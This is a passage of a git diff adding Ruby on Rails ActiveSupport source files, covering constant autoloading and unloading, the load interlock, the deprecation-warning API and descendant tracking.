+          #   end
+          #
+          # or
+          #
+          #   module M::N
+          #     module S::T
+          #       Module.nesting # => [S::T, M::N]
+          #     end
+          #   end
+          #
+          # for example.
+          return parent.const_missing(const_name)
+        rescue NameError => e
+          raise unless e.missing_name? qualified_name_for(parent, const_name)
+        end
+      end
+
+      name_error = NameError.new("uninitialized constant #{qualified_name}", const_name)
+      name_error.set_backtrace(caller.reject { |l| l.starts_with? __FILE__ })
+      raise name_error
+    end
+
+    # Remove the constants that have been autoloaded, and those that have been
+    # marked for unloading. Before each constant is removed a callback is sent
+    # to its class/module if it implements +before_remove_const+.
+    #
+    # The callback implementation should be restricted to cleaning up caches, etc.
+    # as the environment will be in an inconsistent state, e.g. other constants
+    # may have already been unloaded and not accessible.
+    def remove_unloadable_constants!
+      autoloaded_constants.each { |const| remove_constant const }
+      autoloaded_constants.clear
+      Reference.clear!
+      explicitly_unloadable_constants.each { |const| remove_constant const }
+    end
+
+    class ClassCache
+      def initialize
+        @store = Concurrent::Map.new
+      end
+
+      def empty?
+        @store.empty?
+      end
+
+      def key?(key)
+        @store.key?(key)
+      end
+
+      def get(key)
+        key = key.name if key.respond_to?(:name)
+        @store[key] ||= Inflector.constantize(key)
+      end
+      alias :[] :get
+
+      def safe_get(key)
+        key = key.name if key.respond_to?(:name)
+        @store[key] ||= Inflector.safe_constantize(key)
+      end
+
+      def store(klass)
+        return self unless klass.respond_to?(:name)
+        raise(ArgumentError, "anonymous classes cannot be cached") if klass.name.empty?
+        @store[klass.name] = klass
+        self
+      end
+
+      def clear!
+        @store.clear
+      end
+    end
+
+    Reference = ClassCache.new
+
+    # Store a reference to a class +klass+.
+    def reference(klass)
+      Reference.store klass
+    end
+
+    # Get the reference for class named +name+.
+    # Raises an exception if referenced class does not exist.
+    def constantize(name)
+      Reference.get(name)
+    end
+
+    # Get the reference for class named +name+ if one exists.
+    # Otherwise returns +nil+.
+    def safe_constantize(name)
+      Reference.safe_get(name)
+    end
+
+    # Determine if the given constant has been automatically loaded.
+    def autoloaded?(desc)
+      return false if desc.is_a?(Module) && desc.anonymous?
+      name = to_constant_name desc
+      return false unless qualified_const_defined?(name)
+      return autoloaded_constants.include?(name)
+    end
+
+    # Will the provided constant descriptor be unloaded?
+    def will_unload?(const_desc)
+      autoloaded?(const_desc) ||
+        explicitly_unloadable_constants.include?(to_constant_name(const_desc))
+    end
+
+    # Mark the provided constant name for unloading. This constant will be
+    # unloaded on each request, not just the next one.
+    def mark_for_unload(const_desc)
+      name = to_constant_name const_desc
+      if explicitly_unloadable_constants.include? name
+        false
+      else
+        explicitly_unloadable_constants << name
+        true
+      end
+    end
+
+    # Run the provided block and detect the new constants that were loaded during
+    # its execution. Constants may only be regarded as 'new' once -- so if the
+    # block calls +new_constants_in+ again, then the constants defined within the
+    # inner call will not be reported in this one.
+    #
+    # If the provided block does not run to completion, and instead raises an
+    # exception, any new constants are regarded as being only partially defined
+    # and will be removed immediately.
+    def new_constants_in(*descs)
+      constant_watch_stack.watch_namespaces(descs)
+      success = false
+
+      begin
+        yield # Now yield to the code that is to define new constants.
+        success = true
+      ensure
+        new_constants = constant_watch_stack.new_constants
+
+        return new_constants if success
+
+        # Remove partially loaded constants.
+        new_constants.each { |c| remove_constant(c) }
+      end
+    end
+
+    # Convert the provided const desc to a qualified constant name (as a string).
+    # A module, class, symbol, or string may be provided.
+    def to_constant_name(desc) #:nodoc:
+      case desc
+      when String then desc.sub(/^::/, "")
+      when Symbol then desc.to_s
+      when Module
+        desc.name ||
+          raise(ArgumentError, "Anonymous modules have no name to be referenced by")
+        else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
+      end
+    end
+
+    def remove_constant(const) #:nodoc:
+      # Normalize ::Foo, ::Object::Foo, Object::Foo, Object::Object::Foo, etc. as Foo.
+      normalized = const.to_s.sub(/\A::/, "")
+      normalized.sub!(/\A(Object::)+/, "")
+
+      constants = normalized.split("::")
+      to_remove = constants.pop
+
+      # Remove the file path from the loaded list.
+      file_path = search_for_file(const.underscore)
+      if file_path
+        expanded = File.expand_path(file_path)
+        expanded.sub!(/\.rb\z/, "")
+        loaded.delete(expanded)
+      end
+
+      if constants.empty?
+        parent = Object
+      else
+        # This method is robust to non-reachable constants.
+        #
+        # Non-reachable constants may be passed if some of the parents were
+        # autoloaded and already removed. It is easier to do a sanity check
+        # here than require the caller to be clever. We check the parent
+        # rather than the very const argument because we do not want to
+        # trigger Kernel#autoloads, see the comment below.
+        parent_name = constants.join("::")
+        return unless qualified_const_defined?(parent_name)
+        parent = constantize(parent_name)
+      end
+
+      # In an autoloaded user.rb like this
+      #
+      #   autoload :Foo, 'foo'
+      #
+      #   class User < ActiveRecord::Base
+      #   end
+      #
+      # we correctly register "Foo" as being autoloaded. But if the app does
+      # not use the "Foo" constant we need to be careful not to trigger
+      # loading "foo.rb" ourselves. While #const_defined? and #const_get? do
+      # require the file, #autoload? and #remove_const don't.
+      #
+      # We are going to remove the constant nonetheless ---which exists as
+      # far as Ruby is concerned--- because if the user removes the macro
+      # call from a class or module that were not autoloaded, as in the
+      # example above with Object, accessing to that constant must err.
+      unless parent.autoload?(to_remove)
+        begin
+          constantized = parent.const_get(to_remove, false)
+        rescue NameError
+          # The constant is no longer reachable, just skip it.
+          return
+        else
+          constantized.before_remove_const if constantized.respond_to?(:before_remove_const)
+        end
+      end
+
+      begin
+        parent.instance_eval { remove_const to_remove }
+      rescue NameError
+        # The constant is no longer reachable, just skip it.
+      end
+    end
+  end
+end
+
+ActiveSupport::Dependencies.hook!
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
new file mode 100644
index 0000000000..1c3775f5eb
--- /dev/null
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require_relative "../inflector/methods"
+
+module ActiveSupport
+  # Autoload and eager load conveniences for your library.
+  #
+  # This module allows you to define autoloads based on
+  # Rails conventions (i.e. no need to define the path
+  # it is automatically guessed based on the filename)
+  # and also define a set of constants that needs to be
+  # eager loaded:
+  #
+  #   module MyLib
+  #     extend ActiveSupport::Autoload
+  #
+  #     autoload :Model
+  #
+  #     eager_autoload do
+  #       autoload :Cache
+  #     end
+  #   end
+  #
+  # Then your library can be eager loaded by simply calling:
+  #
+  #   MyLib.eager_load!
+  module Autoload
+    def self.extended(base) # :nodoc:
+      base.class_eval do
+        @_autoloads = {}
+        @_under_path = nil
+        @_at_path = nil
+        @_eager_autoload = false
+      end
+    end
+
+    def autoload(const_name, path = @_at_path)
+      unless path
+        full = [name, @_under_path, const_name.to_s].compact.join("::")
+        path = Inflector.underscore(full)
+      end
+
+      if @_eager_autoload
+        @_autoloads[const_name] = path
+      end
+
+      super const_name, path
+    end
+
+    def autoload_under(path)
+      @_under_path, old_path = path, @_under_path
+      yield
+    ensure
+      @_under_path = old_path
+    end
+
+    def autoload_at(path)
+      @_at_path, old_path = path, @_at_path
+      yield
+    ensure
+      @_at_path = old_path
+    end
+
+    def eager_autoload
+      old_eager, @_eager_autoload = @_eager_autoload, true
+      yield
+    ensure
+      @_eager_autoload = old_eager
+    end
+
+    def eager_load!
+      @_autoloads.each_value { |file| require file }
+    end
+
+    def autoloads
+      @_autoloads
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/dependencies/interlock.rb b/activesupport/lib/active_support/dependencies/interlock.rb
new file mode 100644
index 0000000000..4e9595ed42
--- /dev/null
+++ b/activesupport/lib/active_support/dependencies/interlock.rb
@@ -0,0 +1,57 @@
+# frozen_string_literal: true
+
+require_relative "../concurrency/share_lock"
+
+module ActiveSupport #:nodoc:
+  module Dependencies #:nodoc:
+    class Interlock
+      def initialize # :nodoc:
+        @lock = ActiveSupport::Concurrency::ShareLock.new
+      end
+
+      def loading
+        @lock.exclusive(purpose: :load, compatible: [:load], after_compatible: [:load]) do
+          yield
+        end
+      end
+
+      def unloading
+        @lock.exclusive(purpose: :unload, compatible: [:load, :unload], after_compatible: [:load, :unload]) do
+          yield
+        end
+      end
+
+      def start_unloading
+        @lock.start_exclusive(purpose: :unload, compatible: [:load, :unload])
+      end
+
+      def done_unloading
+        @lock.stop_exclusive(compatible: [:load, :unload])
+      end
+
+      def start_running
+        @lock.start_sharing
+      end
+
+      def done_running
+        @lock.stop_sharing
+      end
+
+      def running
+        @lock.sharing do
+          yield
+        end
+      end
+
+      def permit_concurrent_loads
+        @lock.yield_shares(compatible: [:load]) do
+          yield
+        end
+      end
+
+      def raw_state(&block) # :nodoc:
+        @lock.raw_state(&block)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
new file mode 100644
index 0000000000..e6550fdcd0
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require "singleton"
+
+module ActiveSupport
+  # \Deprecation specifies the API used by Rails to deprecate methods, instance
+  # variables, objects and constants.
+  class Deprecation
+    # active_support.rb sets an autoload for ActiveSupport::Deprecation.
+    #
+    # If these requires were at the top of the file the constant would not be
+    # defined by the time their files were loaded. Since some of them reopen
+    # ActiveSupport::Deprecation its autoload would be triggered, resulting in
+    # a circular require warning for active_support/deprecation.rb.
+    #
+    # So, we define the constant first, and load dependencies later.
+    require_relative "deprecation/instance_delegator"
+    require_relative "deprecation/behaviors"
+    require_relative "deprecation/reporting"
+    require_relative "deprecation/constant_accessor"
+    require_relative "deprecation/method_wrappers"
+    require_relative "deprecation/proxy_wrappers"
+    require_relative "core_ext/module/deprecation"
+
+    include Singleton
+    include InstanceDelegator
+    include Behavior
+    include Reporting
+    include MethodWrapper
+
+    # The version number in which the deprecated behavior will be removed, by default.
+    attr_accessor :deprecation_horizon
+
+    # It accepts two parameters on initialization. The first is a version of library
+    # and the second is a library name.
+    #
+    #   ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
+    def initialize(deprecation_horizon = "6.0", gem_name = "Rails")
+      self.gem_name = gem_name
+      self.deprecation_horizon = deprecation_horizon
+      # By default, warnings are not silenced and debugging is off.
+      self.silenced = false
+      self.debug = false
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
new file mode 100644
index 0000000000..967320bcb9
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require_relative "../notifications"
+
+module ActiveSupport
+  # Raised when <tt>ActiveSupport::Deprecation::Behavior#behavior</tt> is set with <tt>:raise</tt>.
+  # You would set <tt>:raise</tt>, as a behavior to raise errors and proactively report exceptions from deprecations.
+  class DeprecationException < StandardError
+  end
+
+  class Deprecation
+    # Default warning behaviors per Rails.env.
+    DEFAULT_BEHAVIORS = {
+      raise: ->(message, callstack, deprecation_horizon, gem_name) {
+        e = DeprecationException.new(message)
+        e.set_backtrace(callstack.map(&:to_s))
+        raise e
+      },
+
+      stderr: ->(message, callstack, deprecation_horizon, gem_name) {
+        $stderr.puts(message)
+        $stderr.puts callstack.join("\n  ") if debug
+      },
+
+      log: ->(message, callstack, deprecation_horizon, gem_name) {
+        logger =
+            if defined?(Rails.logger) && Rails.logger
+              Rails.logger
+            else
+              require_relative "../logger"
+              ActiveSupport::Logger.new($stderr)
+            end
+        logger.warn message
+        logger.debug callstack.join("\n  ") if debug
+      },
+
+      notify: ->(message, callstack, deprecation_horizon, gem_name) {
+        notification_name = "deprecation.#{gem_name.underscore.tr('/', '_')}"
+        ActiveSupport::Notifications.instrument(notification_name,
+                                                message: message,
+                                                callstack: callstack,
+                                                gem_name: gem_name,
+                                                deprecation_horizon: deprecation_horizon)
+      },
+
+      silence: ->(message, callstack, deprecation_horizon, gem_name) {},
+    }
+
+    # Behavior module allows to determine how to display deprecation messages.
+    # You can create a custom behavior or set any from the +DEFAULT_BEHAVIORS+
+    # constant. Available behaviors are:
+    #
+    # [+raise+]   Raise <tt>ActiveSupport::DeprecationException</tt>.
+    # [+stderr+]  Log all deprecation warnings to +$stderr+.
+    # [+log+]     Log all deprecation warnings to +Rails.logger+.
+    # [+notify+]  Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
+    # [+silence+] Do nothing.
+    #
+    # Setting behaviors only affects deprecations that happen after boot time.
+    # For more information you can read the documentation of the +behavior=+ method.
+    module Behavior
+      # Whether to print a backtrace along with the warning.
+      attr_accessor :debug
+
+      # Returns the current behavior or if one isn't set, defaults to +:stderr+.
+      def behavior
+        @behavior ||= [DEFAULT_BEHAVIORS[:stderr]]
+      end
+
+      # Sets the behavior to the specified value. Can be a single value, array,
+      # or an object that responds to +call+.
+      #
+      # Available behaviors:
+      #
+      # [+raise+]   Raise <tt>ActiveSupport::DeprecationException</tt>.
+      # [+stderr+]  Log all deprecation warnings to +$stderr+.
+      # [+log+]     Log all deprecation warnings to +Rails.logger+.
+      # [+notify+]  Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
+      # [+silence+] Do nothing.
+      #
+      # Setting behaviors only affects deprecations that happen after boot time.
+      # Deprecation warnings raised by gems are not affected by this setting
+      # because they happen before Rails boots up.
+      #
+      #   ActiveSupport::Deprecation.behavior = :stderr
+      #   ActiveSupport::Deprecation.behavior = [:stderr, :log]
+      #   ActiveSupport::Deprecation.behavior = MyCustomHandler
+      #   ActiveSupport::Deprecation.behavior = ->(message, callstack) {
+      #     # custom stuff
+      #   }
+      def behavior=(behavior)
+        @behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || arity_coerce(b) }
+      end
+
+      private
+        def arity_coerce(behavior)
+          if behavior.arity == 4 || behavior.arity == -1
+            behavior
+          else
+            -> message, callstack, _, _ { behavior.call(message, callstack) }
+          end
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/constant_accessor.rb b/activesupport/lib/active_support/deprecation/constant_accessor.rb
new file mode 100644
index 0000000000..0dfd96d134
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/constant_accessor.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require_relative "../inflector/methods"
+
+module ActiveSupport
+  class Deprecation
+    # DeprecatedConstantAccessor transforms a constant into a deprecated one by
+    # hooking +const_missing+.
+    #
+    # It takes the names of an old (deprecated) constant and of a new constant
+    # (both in string form) and optionally a deprecator. The deprecator defaults
+    # to +ActiveSupport::Deprecator+ if none is specified.
+    #
+    # The deprecated constant now returns the same object as the new one rather
+    # than a proxy object, so it can be used transparently in +rescue+ blocks
+    # etc.
+    #
+    #   PLANETS = %w(mercury venus earth mars jupiter saturn uranus neptune pluto)
+    #
+    #   (In a later update, the original implementation of `PLANETS` has been removed.)
+    #
+    #   PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
+    #   include ActiveSupport::Deprecation::DeprecatedConstantAccessor
+    #   deprecate_constant 'PLANETS', 'PLANETS_POST_2006'
+    #
+    #   PLANETS.map { |planet| planet.capitalize }
+    #   # => DEPRECATION WARNING: PLANETS is deprecated! Use PLANETS_POST_2006 instead.
+    #        (Backtrace information…)
+    #        ["Mercury", "Venus", "Earth", "Mars", "Jupiter", "Saturn", "Uranus", "Neptune"]
+    module DeprecatedConstantAccessor
+      def self.included(base)
+        extension = Module.new do
+          def const_missing(missing_const_name)
+            if class_variable_defined?(:@@_deprecated_constants)
+              if (replacement = class_variable_get(:@@_deprecated_constants)[missing_const_name.to_s])
+                replacement[:deprecator].warn(replacement[:message] || "#{name}::#{missing_const_name} is deprecated! Use #{replacement[:new]} instead.", caller_locations)
+                return ActiveSupport::Inflector.constantize(replacement[:new].to_s)
+              end
+            end
+            super
+          end
+
+          def deprecate_constant(const_name, new_constant, message: nil, deprecator: ActiveSupport::Deprecation.instance)
+            class_variable_set(:@@_deprecated_constants, {}) unless class_variable_defined?(:@@_deprecated_constants)
+            class_variable_get(:@@_deprecated_constants)[const_name.to_s] = { new: new_constant, message: message, deprecator: deprecator }
+          end
+        end
+        base.singleton_class.prepend extension
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/instance_delegator.rb b/activesupport/lib/active_support/deprecation/instance_delegator.rb
new file mode 100644
index 0000000000..539357c83e
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/instance_delegator.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/kernel/singleton_class"
+require_relative "../core_ext/module/delegation"
+
+module ActiveSupport
+  class Deprecation
+    module InstanceDelegator # :nodoc:
+      def self.included(base)
+        base.extend(ClassMethods)
+        base.singleton_class.prepend(OverrideDelegators)
+        base.public_class_method :new
+      end
+
+      module ClassMethods # :nodoc:
+        def include(included_module)
+          included_module.instance_methods.each { |m| method_added(m) }
+          super
+        end
+
+        def method_added(method_name)
+          singleton_class.delegate(method_name, to: :instance)
+        end
+      end
+
+      module OverrideDelegators # :nodoc:
+        def warn(message = nil, callstack = nil)
+          callstack ||= caller_locations(2)
+          super
+        end
+
+        def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil)
+          caller_backtrace ||= caller_locations(2)
+          super
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/method_wrappers.rb b/activesupport/lib/active_support/deprecation/method_wrappers.rb
new file mode 100644
index 0000000000..8c942ed9a5
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/method_wrappers.rb
@@ -0,0 +1,72 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/module/aliasing"
+require_relative "../core_ext/array/extract_options"
+
+module ActiveSupport
+  class Deprecation
+    module MethodWrapper
+      # Declare that a method has been deprecated.
+      #
+      #   module Fred
+      #     extend self
+      #
+      #     def aaa; end
+      #     def bbb; end
+      #     def ccc; end
+      #     def ddd; end
+      #     def eee; end
+      #   end
+      #
+      # Using the default deprecator:
+      #   ActiveSupport::Deprecation.deprecate_methods(Fred, :aaa, bbb: :zzz, ccc: 'use Bar#ccc instead')
+      #   # => Fred
+      #
+      #   Fred.aaa
+      #   # DEPRECATION WARNING: aaa is deprecated and will be removed from Rails 5.1. (called from irb_binding at (irb):10)
+      #   # => nil
+      #
+      #   Fred.bbb
+      #   # DEPRECATION WARNING: bbb is deprecated and will be removed from Rails 5.1 (use zzz instead). (called from irb_binding at (irb):11)
+      #   # => nil
+      #
+      #   Fred.ccc
+      #   # DEPRECATION WARNING: ccc is deprecated and will be removed from Rails 5.1 (use Bar#ccc instead). (called from irb_binding at (irb):12)
+      #   # => nil
+      #
+      # Passing in a custom deprecator:
+      #   custom_deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem')
+      #   ActiveSupport::Deprecation.deprecate_methods(Fred, ddd: :zzz, deprecator: custom_deprecator)
+      #   # => [:ddd]
+      #
+      #   Fred.ddd
+      #   DEPRECATION WARNING: ddd is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):15)
+      #   # => nil
+      #
+      # Using a custom deprecator directly:
+      #   custom_deprecator = ActiveSupport::Deprecation.new('next-release', 'MyGem')
+      #   custom_deprecator.deprecate_methods(Fred, eee: :zzz)
+      #   # => [:eee]
+      #
+      #   Fred.eee
+      #   DEPRECATION WARNING: eee is deprecated and will be removed from MyGem next-release (use zzz instead). (called from irb_binding at (irb):18)
+      #   # => nil
+      def deprecate_methods(target_module, *method_names)
+        options = method_names.extract_options!
+        deprecator = options.delete(:deprecator) || self
+        method_names += options.keys
+
+        mod = Module.new do
+          method_names.each do |method_name|
+            define_method(method_name) do |*args, &block|
+              deprecator.deprecation_warning(method_name, options[method_name])
+              super(*args, &block)
+            end
+          end
+        end
+
+        target_module.prepend(mod)
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
new file mode 100644
index 0000000000..1920d75faf
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
@@ -0,0 +1,153 @@
+# frozen_string_literal: true
+
+require_relative "../inflector/methods"
+require_relative "../core_ext/regexp"
+
+module ActiveSupport
+  class Deprecation
+    class DeprecationProxy #:nodoc:
+      def self.new(*args, &block)
+        object = args.first
+
+        return object unless object
+        super
+      end
+
+      instance_methods.each { |m| undef_method m unless /^__|^object_id$/.match?(m) }
+
+      # Don't give a deprecation warning on inspect since test/unit and error
+      # logs rely on it for diagnostics.
+      def inspect
+        target.inspect
+      end
+
+      private
+        def method_missing(called, *args, &block)
+          warn caller_locations, called, args
+          target.__send__(called, *args, &block)
+        end
+    end
+
+    # DeprecatedObjectProxy transforms an object into a deprecated one. It
+    # takes an object, a deprecation message and optionally a deprecator. The
+    # deprecator defaults to +ActiveSupport::Deprecator+ if none is specified.
+    #
+    #   deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, "This object is now deprecated")
+    #   # => #<Object:0x007fb9b34c34b0>
+    #
+    #   deprecated_object.to_s
+    #   DEPRECATION WARNING: This object is now deprecated.
+    #   (Backtrace)
+    #   # => "#<Object:0x007fb9b34c34b0>"
+    class DeprecatedObjectProxy < DeprecationProxy
+      def initialize(object, message, deprecator = ActiveSupport::Deprecation.instance)
+        @object = object
+        @message = message
+        @deprecator = deprecator
+      end
+
+      private
+        def target
+          @object
+        end
+
+        def warn(callstack, called, args)
+          @deprecator.warn(@message, callstack)
+        end
+    end
+
+    # DeprecatedInstanceVariableProxy transforms an instance variable into a
+    # deprecated one. It takes an instance of a class, a method on that class
+    # and an instance variable. It optionally takes a deprecator as the last
+    # argument. The deprecator defaults to +ActiveSupport::Deprecator+ if none
+    # is specified.
+    #
+    #   class Example
+    #     def initialize
+    #       @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request)
+    #       @_request = :special_request
+    #     end
+    #
+    #     def request
+    #       @_request
+    #     end
+    #
+    #     def old_request
+    #       @request
+    #     end
+    #   end
+    #
+    #   example = Example.new
+    #   # => #<Example:0x007fb9b31090b8 @_request=:special_request, @request=:special_request>
+    #
+    #   example.old_request.to_s
+    #   # => DEPRECATION WARNING: @request is deprecated! Call request.to_s instead of
+    #      @request.to_s
+    #      (Backtrace information…)
+    #      "special_request"
+    #
+    #   example.request.to_s
+    #   # => "special_request"
+    class DeprecatedInstanceVariableProxy < DeprecationProxy
+      def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
+        @instance = instance
+        @method = method
+        @var = var
+        @deprecator = deprecator
+      end
+
+      private
+        def target
+          @instance.__send__(@method)
+        end
+
+        def warn(callstack, called, args)
+          @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
+        end
+    end
+
+    # DeprecatedConstantProxy transforms a constant into a deprecated one. It
+    # takes the names of an old (deprecated) constant and of a new constant
+    # (both in string form) and optionally a deprecator. The deprecator defaults
+    # to +ActiveSupport::Deprecator+ if none is specified. The deprecated constant
+    # now returns the value of the new one.
+    #
+    #   PLANETS = %w(mercury venus earth mars jupiter saturn uranus neptune pluto)
+    #
+    #   (In a later update, the original implementation of `PLANETS` has been removed.)
+    #
+    #   PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
+    #   PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('PLANETS', 'PLANETS_POST_2006')
+    #
+    #   PLANETS.map { |planet| planet.capitalize }
+    #   # => DEPRECATION WARNING: PLANETS is deprecated! Use PLANETS_POST_2006 instead.
+    #        (Backtrace information…)
+    #        ["Mercury", "Venus", "Earth", "Mars", "Jupiter", "Saturn", "Uranus", "Neptune"]
+    class DeprecatedConstantProxy < DeprecationProxy
+      def initialize(old_const, new_const, deprecator = ActiveSupport::Deprecation.instance, message: "#{old_const} is deprecated! Use #{new_const} instead.")
+        @old_const = old_const
+        @new_const = new_const
+        @deprecator = deprecator
+        @message = message
+      end
+
+      # Returns the class of the new constant.
+      #
+      #   PLANETS_POST_2006 = %w(mercury venus earth mars jupiter saturn uranus neptune)
+      #   PLANETS = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('PLANETS', 'PLANETS_POST_2006')
+      #   PLANETS.class # => Array
+      def class
+        target.class
+      end
+
+      private
+        def target
+          ActiveSupport::Inflector.constantize(@new_const.to_s)
+        end
+
+        def warn(callstack, called, args)
+          @deprecator.warn(@message, callstack)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/deprecation/reporting.rb b/activesupport/lib/active_support/deprecation/reporting.rb
new file mode 100644
index 0000000000..242e21b782
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/reporting.rb
@@ -0,0 +1,114 @@
+# frozen_string_literal: true
+
+require "rbconfig"
+
+module ActiveSupport
+  class Deprecation
+    module Reporting
+      # Whether to print a message (silent mode)
+      attr_accessor :silenced
+      # Name of gem where method is deprecated
+      attr_accessor :gem_name
+
+      # Outputs a deprecation warning to the output configured by
+      # <tt>ActiveSupport::Deprecation.behavior</tt>.
+      #
+      #   ActiveSupport::Deprecation.warn('something broke!')
+      #   # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+      def warn(message = nil, callstack = nil)
+        return if silenced
+
+        callstack ||= caller_locations(2)
+        deprecation_message(callstack, message).tap do |m|
+          behavior.each { |b| b.call(m, callstack, deprecation_horizon, gem_name) }
+        end
+      end
+
+      # Silence deprecation warnings within the block.
+      #
+      #   ActiveSupport::Deprecation.warn('something broke!')
+      #   # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+      #
+      #   ActiveSupport::Deprecation.silence do
+      #     ActiveSupport::Deprecation.warn('something broke!')
+      #   end
+      #   # => nil
+      def silence
+        old_silenced, @silenced = @silenced, true
+        yield
+      ensure
+        @silenced = old_silenced
+      end
+
+      def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil)
+        caller_backtrace ||= caller_locations(2)
+        deprecated_method_warning(deprecated_method_name, message).tap do |msg|
+          warn(msg, caller_backtrace)
+        end
+      end
+
+      private
+        # Outputs a deprecation warning message
+        #
+        #   deprecated_method_warning(:method_name)
+        #   # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon}"
+        #   deprecated_method_warning(:method_name, :another_method)
+        #   # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon} (use another_method instead)"
+        #   deprecated_method_warning(:method_name, "Optional message")
+        #   # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon} (Optional message)"
+        def deprecated_method_warning(method_name, message = nil)
+          warning = "#{method_name} is deprecated and will be removed from #{gem_name} #{deprecation_horizon}"
+          case message
+          when Symbol then "#{warning} (use #{message} instead)"
+          when String then "#{warning} (#{message})"
+            else warning
+          end
+        end
+
+        def deprecation_message(callstack, message = nil)
+          message ||= "You are using deprecated behavior which will be removed from the next major or minor release."
+          "DEPRECATION WARNING: #{message} #{deprecation_caller_message(callstack)}"
+        end
+
+        def deprecation_caller_message(callstack)
+          file, line, method = extract_callstack(callstack)
+          if file
+            if line && method
+              "(called from #{method} at #{file}:#{line})"
+            else
+              "(called from #{file}:#{line})"
+            end
+          end
+        end
+
+        def extract_callstack(callstack)
+          return _extract_callstack(callstack) if callstack.first.is_a? String
+
+          offending_line = callstack.find { |frame|
+            frame.absolute_path && !ignored_callstack(frame.absolute_path)
+          } || callstack.first
+
+          [offending_line.path, offending_line.lineno, offending_line.label]
+        end
+
+        def _extract_callstack(callstack)
+          warn "Please pass `caller_locations` to the deprecation API" if $VERBOSE
+          offending_line = callstack.find { |line| !ignored_callstack(line) } || callstack.first
+
+          if offending_line
+            if md = offending_line.match(/^(.+?):(\d+)(?::in `(.*?)')?/)
+              md.captures
+            else
+              offending_line
+            end
+          end
+        end
+
+        RAILS_GEM_ROOT = File.expand_path("../../../..", __dir__)
+
+        def ignored_callstack(path)
+          path.start_with?(RAILS_GEM_ROOT) || path.start_with?(RbConfig::CONFIG["rubylibdir"])
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/descendants_tracker.rb b/activesupport/lib/active_support/descendants_tracker.rb
new file mode 100644
index 0000000000..a4cee788b6
--- /dev/null
+++ b/activesupport/lib/active_support/descendants_tracker.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # This module provides an internal implementation to track descendants
+  # which is faster than iterating through ObjectSpace.
+  module DescendantsTracker
+    @@direct_descendants = {}
+
+    class << self
+      def direct_descendants(klass)
+        @@direct_descendants[klass] || []
+      end
+
+      def descendants(klass)
+        arr = []
+        accumulate_descendants(klass, arr)
+        arr
+      end
+
+      def clear
+        if defined? ActiveSupport::Dependencies
+          @@direct_descendants.each do |klass, descendants|
+            if ActiveSupport::Dependencies.autoloaded?(klass)
+              @@direct_descendants.delete(klass)
+            else
+              descendants.reject! { |v| ActiveSupport::Dependencies.autoloaded?(v) }
+            end
+          end
+        else
+          @@direct_descendants.clear
+        end
+      end
+
+      # This is the only method that is not thread safe, but is only ever called
+      # during the eager loading phase.
+      def store_inherited(klass, descendant)
+        (@@direct_descendants[klass] ||= []) << descendant
+      end
+
+      private
+      def accumulate_descendants(klass, acc)
+        if direct_descendants = @@direct_descendants[klass]
+          acc.concat(direct_descendants)
+          direct_descendants.each { |direct_descendant| accumulate_descendants(direct_descendant, acc) }
+        end
+      end
+    end
+
+    def inherited(base)
+      DescendantsTracker.store_inherited(self, base)
+      super
+    end
+
+    def direct_descendants
+      DescendantsTracker.direct_descendants(self)
+    end
+
+    def descendants
+      DescendantsTracker.descendants(self)
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
new file mode 100644
index 0000000000..f411bb81df
--- /dev/null
+++ b/activesupport/lib/active_support/duration.rb
